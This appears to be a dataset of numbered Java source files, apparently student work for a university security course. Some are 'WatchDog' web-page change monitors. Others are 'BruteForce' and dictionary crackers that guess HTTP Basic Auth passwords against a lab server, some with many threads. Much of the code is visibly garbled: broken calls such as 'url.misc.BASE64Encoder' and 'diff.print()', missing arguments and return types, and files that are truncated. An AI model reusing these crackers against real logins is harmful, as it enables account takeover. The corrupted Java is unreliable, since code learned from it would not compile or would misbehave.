} + catch (IOException e) { + System.out.println(""exception happened - here's what I know: ""); + e.printStackTrace(); + System.exit(-1); + } + + while (true) + { + try + { + Process p = Runtime.getRuntime().exec(""sleep 86400""); + + BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + + BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + while ((s = stdInput.readLine()) != null) { + System.out.println(s); + } + + + while ((s = stdError.readLine()) != null) { + System.out.println(s); + } + + try + { + p.waitFor(); + } + catch (InterruptedException g) + { + } + } + catch (IOException e) + { + System.out.println(""exception happened - here's what I know: ""); + e.printStackTrace(); + System.exit(-1); + } + try + { + Process p = Runtime.getRuntime().exec(""wget -O "" + file2 + "" "" + webpage); + + BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + + BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + while ((s = stdInput.readLine()) != null) { + System.out.println(s); + } + + + while ((s = stdError.readLine()) != null) { + System.out.println(s); + } + + try + { + p.waitFor(); + } + catch (InterruptedException g) + { + } + + } + catch (IOException e) + { + System.out.println(""exception happened - here's what I know: ""); + e.printStackTrace(); + System.exit(-1); + } + try + { + + Process p = Runtime.getRuntime().exec(""diff "" + file1 + "" "" + file2); + + BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + + BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + while ((s = stdError.readLine()) != null) { + System.out.println(s); + } + + try + { + p.waitFor(); + } + catch (InterruptedException g) + { + } + + if ((p.exitValue()) == 1) + { + + String mailServerURL = ""yallara.cs.rmit.edu.""; + String host = ""yallara.cs.rmit.edu.""; + String from = ""@yallara.cs.rmit.edu.""; + + String subject = ""Change Detected In WatchDog.java""; + + try + { + + Socket csoc=new Socket(mailServerURL,25); + BufferedReader in=new BufferedReader( + new InputStreamReader(csoc.getInputStream())); + + PrintWriter out=new PrintWriter(csoc.getOutputStream(),true); + System.out.println(""HELO ""+host); + System.out.println(in.readLine()); + out.println(""MAIL FROM:""+from); + System.out.println(in.readLine()); + System.out.println(in.readLine()); + System.out.println(""DATA""); + System.out.println(in.readLine()); + System.out.println(""SUBJECT:""+subject); + System.out.println(in.readLine()); + + + while ((s = stdInput.readLine()) != null){ + System.out.println(s); + } + out.println("".""); + System.out.println(in.readLine()); + System.out.println(""QUIT""); + System.out.println(in.readLine()); + } + catch(Exception e) + { + e.printStackTrace(); + System.out.println(""Some error occoured while communicating server""); + } + } + } + catch (IOException e) + { + System.out.println(""exception happened - here's what I know: ""); + e.printStackTrace(); + System.exit(-1); + } + } + } +}" +024.java," + + + +import java.util.*; +import java.net.*; +import java.io.*; +import javax.swing.*; + +public class PasswordCombination +{ + private int pwdCounter = 0; + private int startTime; + private String str1,str2,str3; + private String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + private String loginPwd; + private String[] password; + private HoldSharedData data; + private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M', + 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', + 'a','b','c','d','e','f','g','h','i','j','k','l','m', + 'n','o','p','q','r','s','t','u','v','w','x','y','z'}; + + public PasswordCombination() + { + System.out.println(""Programmed by for INTE1070 Assignment 2""); + + String input = JOptionPane.showInputDialog( ""Enter number of threads"" ); + if( input == null ) + System.exit(0); + + int numOfConnections = Integer.parseInt( input ); + startTime = System.currentTimeMillis(); + int pwdCounter = 52*52*52 + 52*52 + 52; + password = new String[pwdCounter]; + + doPwdCombination(); + + System.out.println(""Total Number of Passwords Generated: "" + pwdCounter); + createConnectionThread( numOfConnections ); + } + + private void doPwdCombination() + { + for( int i = 0; i < 52; i ++ ) + { + str1 = """" + chars[i]; + password[pwdCounter++] = """" + chars[i]; + System.err.print( str1 + "" | "" ); + + for( int j = 0; j < 52; j ++ ) + { + str2 = str1 + chars[j]; + password[pwdCounter++] = str1 + chars[j]; + + for( int k = 0; k < 52; k ++ ) + { + str3 = str2 + chars[k]; + password[pwdCounter++] = str2 + chars[k]; + } + } + } + + System.err.println( ""\n"" ); + } + + private void loadPasswords( ) + { + FileReader fRead; + BufferedReader buf; + String line = null; + String fileName = ""words""; + + try + { + fRead = new FileReader( fileName ); + buf = new BufferedReader(fRead); + + while((line = buf.readLine( )) != null) + { + password[pwdCounter++] = line; + } + } + catch(FileNotFoundException e) + { + System.err.println(""File not found: "" + fileName); + } + catch(IOException ioe) + { + System.err.println(""IO Error "" + ioe); + } + } + + private void createConnectionThread( int input ) + { + data = new HoldSharedData( startTime, password, pwdCounter ); + + int numOfThreads = input; + int batch = pwdCounter/numOfThreads + 1; + numOfThreads = pwdCounter/batch + 1; + System.out.println(""Number of Connection Threads Used:"" + numOfThreads); + ConnectionThread[] connThread = new ConnectionThread[numOfThreads]; + + for( int index = 0; index < numOfThreads; index ++ ) + { + connThread[index] = new ConnectionThread( url, index, batch, data ); + connThread[index].conn(); + } + } +} " +210.java," + +import java.io.*; +import java.util.*; +import java.*; + +public class storeNewFile +{ + private PrintWriter outputStream= null; + private String filename; + private FileWriter fw; + + public storeNewFile(String fname) + { + try + { + filename = fname; + outputStream=new PrintWriter(new FileOutputStream(filename)); + } + catch(FileNotFoundException e) + { + System.err.println(""File ""+filename+"" was not found""); + } + catch(IOException e) + { + System.err.println(""Error ""); + } + } + public void getStringW(StringWriter sw) + { + outputStream.print(sw.toString()); + } + + public void closeStream() + { + outputStream.write(); + } + + public void translogFile(String result) + { + String fileName = ""TransactionLog.txt""; + try{ + fw=new FileWriter(fileName,true); + fw.write(result); + fw.write('\n'); + fw.print(); + System.out.println(""Saved sucessfully""); + }catch(IOException e){ + System.out.println(""Error saving the file""); + } + } +}" +109.java,"import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.Date; +import java.util.Properties; + +import javax.mail.Message; +import javax.mail.Session; +import javax.mail.Transport; +import javax.mail.Message.RecipientType; +import javax.mail.internet.InternetAddress; +import javax.mail.internet.MimeMessage; + + + + +public class Mailsend +{ + static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(""smtpServer""); + static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(""recipient""); + static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(""sender""); + static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(""messageHeader""); + + + + + public static void main(String args[]) + { + try + { + + String smtpServer = SMTP_SERVER; + String recip = RECIPIENT_EMAIL; + String from = SENDER_EMAIL; + String subject = MESSAGE_HEADER; + String body = ""Testing""; + + System.out.println(""Started sending the message""); + Mailsend.send(smtpServer,recip , from, subject, body); + } + catch (Exception ex) + { + System.out.println( + ""Usage: java mailsend"" + + "" smtpServer toAddress fromAddress subjectText bodyText""); + } + + System.exit(0); + } + + + + public static void send(String smtpServer, String receiver, String from, String subject, String body) + + { + try + { + Properties props = System.getProperties(); + + + + props.put(""mail.smtp.host"", smtpServer); + props.put(""mail.smtp.timeout"", ""20000""); + props.put(""mail.smtp.connectiontimeout"", ""20000""); + + + Session session = Session.getDefaultInstance(props, null); + + + + Message msg = new MimeMessage(session); + + + msg.setFrom(new InternetAddress(from)); + msg.setRecipients(Message.RecipientType.NORMAL, InternetAddress.parse(receiver, false)); + + + + + msg.setSubject(subject); + + msg.setSentDate(new Date()); + + msg.setText(body); + + + Transport.send(msg); + + System.out.println(""sent the email with the differences : ""+ + ""using the mail server: ""+ smtpServer); + + } + catch (Exception ex) + { + ex.printStackTrace(); + } + } +} +" +160.java,"import java.io.*; + + +public class WatchDog +{ +public static void main (String[] args) +{ String isdiff = new String(); + String[] cmd1 = {""//sh"",""-c"",""diff newfile.html oldfile.html > diff.txt""}; + String[] cmd2 = {""//sh"",""-c"",""mailx -s \""Web Changed\"" \""@cs.rmit.edu.\"" < diff.txt""}; + + try { + + + while(true) + { + Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html""); + Thread.sleep(43200000); + Thread.sleep(43200000); + Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html""); + Thread.sleep(2000); + Runtime.getRuntime().exec(cmd1); + Thread.sleep(2000); + BufferedReader diff = new BufferedReader(new FileReader(""diff.txt"")); + if ((isdiff=diff.readLine()) != null) + { + Runtime.getRuntime().exec(cmd2); + System.out.println(""Change Detected & Email Send""); + } + diff.print(); + } + } + + catch (IOException err) + { + err.printStackTrace(); + } + + catch (InterruptedException err) + { + err.printStackTrace(); + } + +} + + +}" +084.java," + +import java.Thread; +import java.io.*; +import java.net.*; + +public class BruteForce extends Thread { + final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'}; + final static int SUCCESS=1, + FAILED=0, + UNKNOWN=-1; + private static String host, + path, + user; + private Socket target; + private InputStream input; + private OutputStream output; + private byte[] data; + private int threads, + threadno, + response; + public static boolean solved = false; + BruteForce parent; + + + public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent) + { + super(); + this.parent = parent; + this.host = host; + this.path = path; + this.user = user; + this.threads = threads; + this.threadno = threadno; + } + + public void run() + { + response = FAILED; + int x = 0; + starttime = System.currentTimeMillis(); + + for(int i=0; i ""); + System.out.println("" arguments specified, using standard values.""); + host = ""sec-crack.cs.rmit.edu.""; + path = ""/SEC/2/index.php""; + user = """"; + } + System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); + System.out.println(""Using "" + attackslaves.length + "" happy threads...""); + + parent = new BruteForce(host, path, user, 0, 0, null); + + for(int i=0; i""); + System.exit(1); + } + BruteForce bruteForce1 = new BruteForce(); + Result=bruteForce1.Password(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); + System.out.println(""The Password of ""+args[0]+""is..""+Result); + + } + + + + private String Password(String urlString,String username) + { + int cnt=0; + + t0 = System.currentTimeMillis(); + for ( char ch = 'A'; ch <= 'z'; ch++ ) + { + if (ch>'Z' && ch<'a') + { + ch='a'; + } + + for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ ) + { + + if (ch1>'Z' && ch1<'a') + { + ch1='a'; + } + + + for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ ) + { + if (ch2>'Z' && ch2<'a') + { + ch2='a'; + } + password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2); + System.out.print(""crackin...:""); + System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); + try + { + + + + URL url = new URL (urlString); + String userPassword=username+"":""+password; + + + String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); + URLConnection conc= url.openConnection(); + conc.setRequestProperty (""Authorization"", "" "" + encoding); + conc.connect(); + cnt++; + if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"")) + { + t1 = System.currentTimeMillis(); + net=t1-t0; + System.out.println(""The Number of Attempts ""+cnt); + System.out.println(""Total Time Taken in secs""+net/1000); + return password; + } + + } + + catch (Exception e ) + { + e.printStackTrace(); + + } + + + + + } + + + + + + + } + + + } + return ""Password could not found""; + + } + + +}" +005.java," + + +import java.io.*; +import java.util.*; +import java.*; +import java.net.*; + +public class WatchDog +{ + + static Process p = null; + static Process qproc = null; + + static BufferedReader bf = null; + static StringTokenizer tok = null; + + static String Path = null; + static String str = null; + static String urlStr=null; + static boolean changed = false; + + static File indexfile = new File(""index.html""); + static File tmpfile = new File(""tmpindex.html""); + static File mdfile = new File(""md5file.txt""); + static File tmpmdfile = new File(""tmpmd5file.txt""); + static PrintWriter mailwriter = null; + + + public static void main(String[] args) + { + + urlStr = ""http://www.cs.rmit.edu./""; + + try + { + + mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false))); + + getLatest(urlStr); + parseFile(); + + mailwriter.read(); + + if(changed) + { + System.out.println(""Sending Mail""); + p = Runtime.getRuntime().exec(""./mailscript""); + p.waitFor(); + + } + else + System.out.println("" mail sent""); + + } catch (IOException ioe) + { + System.out.println(""IOException""); + ioe.printStackTrace(); + } + catch (InterruptedException intex) + { + System.out.println(""Interrupted Exception""); + intex.printStackTrace(); + } + + + } + + + static void getLatest(String urlStr) + { + + URL url = null; + + try + { + url = new URL(urlStr); + + } catch (MalformedURLException mfurl) + { + System.out.println(""Malformed URL""); + mfurl.printStackTrace(); + } + + try + { + mailwriter.println(); + + p = Runtime.getRuntime().exec(""/usr//pwd""); + p.waitFor(); + bf= new BufferedReader(new InputStreamReader( + p.getInputStream())); + + Path=bf.readLine(); + + if (indexfile.exists()) + { + mailwriter.println(""File with name 'index.html' found in directory.""); + mailwriter.println(""Renaming existing 'index.html' 'tmpindex.html...""); + p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile); + p.waitFor(); + p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile); + mailwriter.println(); + mailwriter.println(""File with name 'md5file.txt' found in directory.""); + mailwriter.print(""Renaming existing 'md5file.txt' 'tmpmd5file.txt...""); + + mailwriter.println("".""); + + mailwriter.println(); + } + + mailwriter.println(""Downloading current version of site - "" + urlStr); + p = Runtime.getRuntime().exec(""/usr/local//wget ""+url); + p.waitFor(); + if (!tmpfile.exists()) + { + mailwriter.println(""File - "" + urlStr + ""index.html saved disk for the first time.""); + } + + + } catch (IOException ioe) + { + System.out.println(""IOException""); + ioe.printStackTrace(); + } + catch (IndexOutOfBoundsException iobe) + { + System.out.println(""Index Out Of Bounds Exception""); + iobe.printStackTrace(); + } + catch (Exception e) + { + System.out.println(""Exception""); + e.printStackTrace(); + } + } + + static void parseFile() + { + + Vector imgVect = new Vector(); + + try + { + p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile); + p.waitFor(); + bf= new BufferedReader(new InputStreamReader( + p.getInputStream())); + + while((str=bf.readLine())!=null) + { + bf = new StringTokenizer(str, ""\"""", false); + + while(bf.hasMoreTokens()) + { + str=bf.nextToken(); + if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0)) + imgVect.addElement(str); + } + + } + + }catch (IOException ioe) + { + System.out.println(""IOException""); + ioe.printStackTrace(); + } + catch (Exception e) + { + System.out.println(""Exception""); + e.printStackTrace(); + } + + mailwriter.println(""Creating file with md5sums of the webpage and images...""); + md5Create(imgVect); + + } + + static void md5Create(Vector imgVect) + { + String tmpString = null; + Vector imgNames = new Vector(); + + try + { + PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); + + p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile); + p.waitFor(); + bf= new BufferedReader(new InputStreamReader( + p.getInputStream())); + pr.println(bf.readLine()); + + for(int i=0; i 0) || (str.indexOf(""jpg"") > 0)) + prsName=str; + } + return (Object)prsName; + } +} +" +149.java,"import java.io.*; + +class WatchDog { + public static void main(String args[]) { + + if (args.length<1) + { + System.out.println(""Correct Format Filename email address of the recordkeeper""); + System.exit(1); + } + + while (true) + { + + + FileInputStream stream=null; + DataInputStream word=null; + String input="" ""; + + + try { + + + String ls_str; + + + Process ls_proc = Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students""); + try { + Thread.sleep(2000); + }catch (Exception e) { + System.err.println(""Caught ThreadException: "" +e.getMessage()); + } + + String[] cmd = {""//sh"",""-c"", ""diff Index2.html index.html >report.txt ""}; + + ls_proc = Runtime.getRuntime().exec(cmd); + + + try { + Thread.sleep(2000); + }catch (Exception e) { + System.err.println(""Caught ThreadException: "" +e.getMessage()); + } + + + + if (ls_proc.exitValue()==2) + { + System.out.println(""The file was checked for first time, email sent""); + + Process move = Runtime.getRuntime().exec(""mv index.html Index2.html""); + + + } + else + { + + stream = new FileInputStream (""report.txt""); + word =new DataInputStream(stream); + + + if (word.available() !=0) + { + + try + { + + String[] cmd1 = {""//sh"",""-c"",""diff Index2.html index.html | mail ""+args[0]}; + Process proc = Runtime.getRuntime().exec(cmd1); + Thread.sleep(2000); + Process move = Runtime.getRuntime().exec(""mv index.html Index2.html""); + Thread.sleep(2000); + System.out.println(""Difference Found , Email Sent""); + + } + catch (Exception e1) { + System.err.println(e1); + System.exit(1); + + + } + + + + } + else + { + System.out.println("" Differnce Detected""); + + + } + } + } + + + catch (IOException e1) { + System.err.println(e1); + System.exit(1); + + + } +try +{ +word.close(); +stream.close(); + +} + +catch (IOException e) +{ +System.out.println(""Error in closing input file:\n"" + e.toString()); +} + +try { +Thread.sleep(20000); + } +catch (Exception e) + { +System.err.println(""Caught ThreadException: "" +e.getMessage()); + } + + + } + + } + + }" +170.java,"package java.httputils; + +import java.io.BufferedReader; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.IOException; +import java.net.MalformedURLException; +import java.sql.Timestamp; + + +public class Dictionary extends BruteForce +{ + protected String wordFile; + + public Dictionary() + { + super(); + } + + public static void main(String[] args) + { + Dictionary dictionary = new Dictionary(); + + if (args.length < 3) + { + System.out.println(dictionary.printUsage()); + } + else + { + dictionary.setURL(args[0]); + dictionary.setUserName(args[1]); + dictionary.setWordFile(args[2]); + + if (args.length > 3) + { + dictionary.setFileName(args[3]); + } + dictionary.process(); + System.out.println(dictionary.printResult()); + System.exit(1); + } + } + + public void process() + { + attempts = 0; + String password = """"; + + setStart(new Timestamp(System.currentTimeMillis())); + + BufferedReader input = null; + try + { + FileReader file = new FileReader(getWordFile()); + + input = new BufferedReader(file); + + } + catch (FileNotFoundException x) + { + System.err.println(""File not found: "" + getWordFile()); + System.exit(2); + } + + try + { + while ((password = input.readLine()) != null) + { + try + { + + attempts++; + BasicAuthHttpRequest req = + new BasicAuthHttpRequest( + getURL(), + getUserName(), + password); + setPassword(password); + setEnd(new Timestamp(System.currentTimeMillis())); + setContent(req.getContent().toString()); + + + if (getFileName() != null + && getFileName().length() > 0) + { + createReport(); + } + return; + } + catch (MalformedURLException e) + { + e.printStackTrace(); + return; + } + catch (IOException e) + { + + } + } + } + catch (IOException x) + { + x.printStackTrace(); + } + + + setEnd(new Timestamp(System.currentTimeMillis())); + + } + + public String printUsage() + { + StringBuffer s = new StringBuffer(); + + s.append(""** BruteForce proper usage **\n\n""); + s.append( + ""java ..httputils.Dictionary \n\n""); + + return s.toString(); + } + + public String getWordFile() + { + return wordFile; + } + + + public void setWordFile(String string) + { + wordFile = string; + } + +} +" +238.java," +import java.util.*; +import java.io.*; +import java.net.*; + +class BruteForce +{ + + public static void main (String a[]) + { + + final char [] alphabet = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z'}; + + String pwd=""""; + + for(int i=0;i<52;i++) + { + for(int j=0;j<52;j++) + { + for(int k=0;k<52;k++) + { + pwd = alphabet[i]+""""+alphabet[j]+""""+alphabet[k]; + String userPassword = "":""+pwd; + RealThread myTh = new RealThread(i,userPassword); + Thread th = new Thread( myTh ); + th.start(); + try + { + + + th.sleep(100); + } + catch(Exception e) + {} + } + } + } + + +} + + +} + + +class RealThread implements Runnable +{ + private int num; + private URL url; + private HttpURLConnection uc =null; + private String userPassword; + private int responseCode = 100; + public RealThread (int i, String userPassword) + { + try + { + url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + } + catch(Exception ex1) + { + } + num = i; + this.userPassword = userPassword; + + } + + public int getResponseCode() + { + + return this.responseCode; + } + + public void run() + { + try + { + String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); + + uc = (HttpURLConnection)url.openConnection(); + uc.setRequestProperty (""Authorization"", "" "" + encoding); + System.out.println(""Reponse = ""+uc.getResponseCode()+""for pwd = ""+userPassword); + this.responseCode = uc.getResponseCode(); + + if(uc.getResponseCode()==200) + { + System.out.println("" ======= Password Found : ""+userPassword+"" ========================================= ""); + System.exit(0); + } + + } + catch (Exception e) { + System.out.println(""Could not execute Thread ""+num+"" ""); + } + } + +} +" +025.java," +import java.net.*; +import java.*; +import java.io.*; +import java.util.GregorianCalendar; +public class BruteForce +{ + + private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k', + 'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B', + 'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V', + 'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','\'','.','&'}; + private int num=1; + public void crackAddress() throws Exception + { + String line,username="""",passwd; + int flag=0; + Runtime run = Runtime.getRuntime(); + GregorianCalendar =new GregorianCalendar(); + for(int k=0;k0;p--) + if (s.charAt(p)=='/') + break; + + return s.substring(p+1,s.length()); + } + + + + public class HTMLDownloaderAndImgParser { + + public HTMLDownloaderAndImgParser(String url) { + + try { + this.url = new URL(url); + this.conn = (HttpURLConnection) this.url.openConnection(); + this.conn.setUseCaches(false); + this.lastModified = conn.getLastModified(); + } catch (MalformedURLException e) { + System.out.println(""Error opening URL '""+url+""'""); + System.exit(1); + } catch (IOException e) { + System.out.println(""Error opening URL '""+url+""'""); + System.exit(1); + } + + + try { + this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream())); + } catch (IOException e) { + System.out.println(e); + } + + + this.imgList = new String[MAXIMG]; + this.imgidx = 0; + this.localpage = """"; + } + + + public void open() { + try { + this.conn = (HttpURLConnection) this.url.openConnection(); + this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream())); + } catch (IOException e) {} + } + + + public void main() { + try { + HTMLBuf.print(); + conn.disconnect(); + } catch (IOException e) {} + } + + + public getLastModified() { + + open(); + this.lastModified = conn.getLastModified(); + return this.lastModified; + } + + private char toLowerCase(int c) { + String s = String.valueOf((char)c).toLowerCase(); + return s.charAt(0); + } + + + private int fetchLowerCase() { + try { + int c = HTMLBuf.print(); + if (c>=0) { + + localpage += String.valueOf((char)c); + return toLowerCase(c); + } else { + return -1; + } + } catch (IOException e) { + System.out.println(e); + return -1; + } catch (NullPointerException e) { + return -1; + } + } + + + private int getNextState(int curState, int input) { + int idx = -1; + if ((input>='a') && (input<='z')) { + idx = input - 'a'; + return stateTable[curState][idx]; + } else { + switch ((char)input) { + case '<' : { return stateTable[curState][26]; } + case ' ' : { return stateTable[curState][27]; } + case '""' : { return stateTable[curState][28]; } + case '\'' : { return stateTable[curState][28]; } + case '=' : { return stateTable[curState][29]; } + case (char)-1 : { return -1; } + default : { return stateTable[curState][30]; } + }} + } + + + private void appendImgList(String s) { + if (imgidx=0;i--) { + if (url.charAt(i)=='.') { + flag = true; + } else + if ((!flag) && (url.charAt(i)=='/')) { + break; + } else + if ((flag) && (url.charAt(i)=='/')) { + p = i; + break; + } + } + url = url.substring(0,p+1); + if (url.charAt(url.length()-1)!='/') { url += '/'; } + + + + if (filename.charAt(0)=='/') { + for (int i=url.length()-2;i>0;i--) { + if (url.charAt(i)=='/') { + url = url.substring(0,i+1); + break; + } + } + } + + + if (filename.charAt(0)=='/') { + filename = filename.substring(1,filename.length()); + } + + return url+filename; + } + + + public String combineWithURLPath(String filename) { + + try { + URL u = new URL(filename); + return filename; + } catch (MalformedURLException e) { + return combineURLAndFileName(url.toString(),filename); + + } + } + + + public boolean startParsing() { + + int curstate = 0; + int c; + boolean eof = false; + boolean fetchURL = false; + String imgURL = """"; + + while (!eof) { + curstate = getNextState(curstate, c=fetchLowerCase()); + switch (curstate) { + case 11: { + if (!fetchURL) { + fetchURL = true; + } else { + imgURL += String.valueOf((char)c); + } + break; } + case 0: { + if (fetchURL) { + appendImgList(combineWithURLPath(imgURL)); + imgURL = """"; + fetchURL = false; + } + break; } + case -1: { + eof = true; + break; } + } + } + + return (localpage.length()>0); + } + + + public void saveLocalPageToFile(String filename) { + try { + PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename))); + p.print(localpage); + p.print(); + } catch (IOException e) { + System.out.println(e); + } + } + + + public int imageCount() { + return imgidx; + } + + + public String[] getImgList() { + String[] result = new String[imgidx]; + + if (imgidx==0) { return null; } + else { + for (int i=0;i=0) { + int k=0; + for (int j=i;j0)) { + result = appendArray(result, txtMsg); + result = appendArray(result, giveNumberPrefix(textdiff)); + } + if ((imgDel!=null) && (imgDel.length>0)) { + result = appendArray(result, remMsg); + result = appendArray(result, giveNumberPrefix(imgDel)); + } + if ((imgNew!=null) && (imgNew.length>0)) { + result = appendArray(result, addMsg); + result = appendArray(result, giveNumberPrefix(imgNew)); + } + if ((imgMod!=null) && (imgMod.length>0)) { + result = appendArray(result, modMsg); + result = appendArray(result, giveNumberPrefix(imgMod)); + } + result = appendArray(result,closingMsg); + + return result; + } + + + public boolean updateCache(boolean firsttime) { + + if (firsttime) { + System.out.println("" [OK-FIRST TIME] Downloading the from URL ... ""); + } + else { + System.out.println("" [OK-UPDATE] Updating local cache ... ""); + } + + if (Parser.startParsing()) { + byte[] pageBytes = Parser.getByteArray(); + byte[] pageBytesDigested = digest(pageBytes); + + saveDigestToFile(DIGESTFILE,pageBytesDigested); + NotesFM.updateNotesFile(Parser.getLastModified()); + + if (Parser.imageCount()==0) { + System.out.println("" [OK] is IMAGE in the URL""); + System.out.println(); + Parser.saveLocalPageToFile(PAGEFILE); + System.out.println("" [OK] has been saved file '""+PAGEFILE+""'""); + System.out.println(); + } else { + + String[] imgList = Parser.getImgList(); + + if (firsttime) + System.out.println("" [OK-FIRST TIME] Local caches created.""); + else + System.out.println("" [OK-UPDATE] Local caches updated.""); + + Parser.saveLocalPageToFile(PAGEFILE); + System.out.println("" [OK] has been saved file '""+PAGEFILE+""'""); + + System.out.println(); + + + if (firsttime) { + System.out.println("" [OK-FIRST TIME] Local image caches created.""); + downloadImages(Parser.getImgList(),true,true); + } else { + System.out.println("" [OK-FIRST TIME] Downloading images of the build local cache ...""); + downloadImages(Parser.getImgList(),true,true); + System.out.println("" [OK-UPDATE] Local image caches updated.""); + } + } + System.out.println(); + return true; + } else return false; + } + + public void run() { + boolean textmodified = false; + boolean imagemodified = false; + boolean firsttime = false; + int flag; + + textdiff = null; + + System.out.println(); + System.out.println("" ----------------- [ IT'S CHECKING TIME !! ] ----------------- ""); + System.out.println("" Now is ""+Calendar.getInstance().getTime()); + System.out.println(); + + + + + System.out.println(""1. DETECT TEXT MODIFICATION ""); + System.out.println("" Checking the last modified date... ""); + Parser = null; + Parser = new HTMLDownloaderAndImgParser(THEURL); + newDate = Parser.getLastModified(); + + flag = (NotesFM.checkLastModified(newDate)); + + switch (flag) { + case NotesFileManager.DATE_INVALID: { + textdiff = new String[2]; + textdiff[0] = ""Cannot open the url '""+THEURL+""'""; + textdiff[1] = ""--> Possible someone had removed/renamed the file in the URL""; + System.out.println("" [ATTENTION] File at the URL CANNOT OPENED !""); + System.out.println(); + break; } + case NotesFileManager.DATE_FIRST_TIME: { + + firsttime = true; + if (!updateCache(true)) { + System.out.println("" [ERROR] File at the URL CANNOT OPENED !""); + System.exit(1); + } + break; } + case NotesFileManager.DATE_NOT_SAME: { + textmodified = true; + System.out.println(); + System.out.println("" [ATTENTION] File in the URL HAS BEEN MODIFIED - TIME DIFFERENT !""); + System.out.println(); + + Parser.startParsing(); + break; } + + + case NotesFileManager.DATE_OK: { + + System.out.println("" Comparing text digests ... ""); + Parser.startParsing(); + byte[] pageBytes = Parser.getByteArray(); + byte[] pageBytesDigested = digest(pageBytes); + byte[] fromFile = loadDigestFromFile(DIGESTFILE); + if (compareDigest(fromFile, pageBytesDigested)) { + + System.out.println(); + System.out.println("" [OK] File in the URL has not been modified.""); + System.out.println(); + } else { + + System.out.println(); + System.out.println("" [ATTENTION] File in the URL HAS BEEN MODIFIED - FILE DIGEST DIFFERENT !""); + System.out.println(); + textmodified = true; + } + break; } + } + + if (textmodified) { + + Parser.saveLocalPageToFile(TEMPFILE); + + TextFileComparator comp = new TextFileComparator(PAGEFILE,TEMPFILE); + switch (comp.execute()) { + case 0 : { + System.out.println("" [ATTENTION] TIMESTAMP/DIGEST CHECK DIFFERENT BUT TEXT COMPARISON FOUND DIFFERENCE.""); + System.out.println(); + textdiff = new String[2]; + textdiff[0] = ""Timestamp different but text comparison found difference.""; + textdiff[1] = ""--> Possible someone had modified it but then /she roll it the original file.""; + break; } + case 1 : { + textdiff = comp.getDifference(); + break; } + } + } + + + + + + if (flag!=NotesFileManager.DATE_INVALID) { + if (firsttime) { + + } else { + System.out.println(); + System.out.println(""2. DETECT IMAGE MODIFICATION ""); + + + if (Parser.imageCount()==0) { + System.out.println("" [OK] is IMAGE in the URL""); + System.out.println(); + } else { + NotesFM.classifyImagesToDownload(Parser.getImgList()); + + + imgNew = NotesFM.getNewImages(); + imgCom = NotesFM.getCommonImages(); + imgDel = NotesFM.getDeletedImages(); + + imagemodified = ((imgNew!=null) && (imgNew.length>0)) || ((imgDel!=null) && (imgDel.length>0)); + + imgList = imgCom; + int[] imgStat = downloadImages(imgList,false,false); + + imgMod = new String[0]; + + for (int i=0;i0))) { + + String[] mailmsg = constructEMailMessage(); + System.out.println(); + System.out.println(""-> REPORTING/RECORDING CHANGES ""); + + if ((MAILTARGET==1) || (MAILTARGET==2)) { + System.out.println("" [NOTIFY] Changes detected and has been saved file '""+MAILFILE+""'""); + printStrArrayToFile(MAILFILE,mailmsg); + } + + + if ((MAILTARGET==0) || (MAILTARGET==2)) { + System.out.println("" [NOTIFY] Sending e-mail MYSELF at 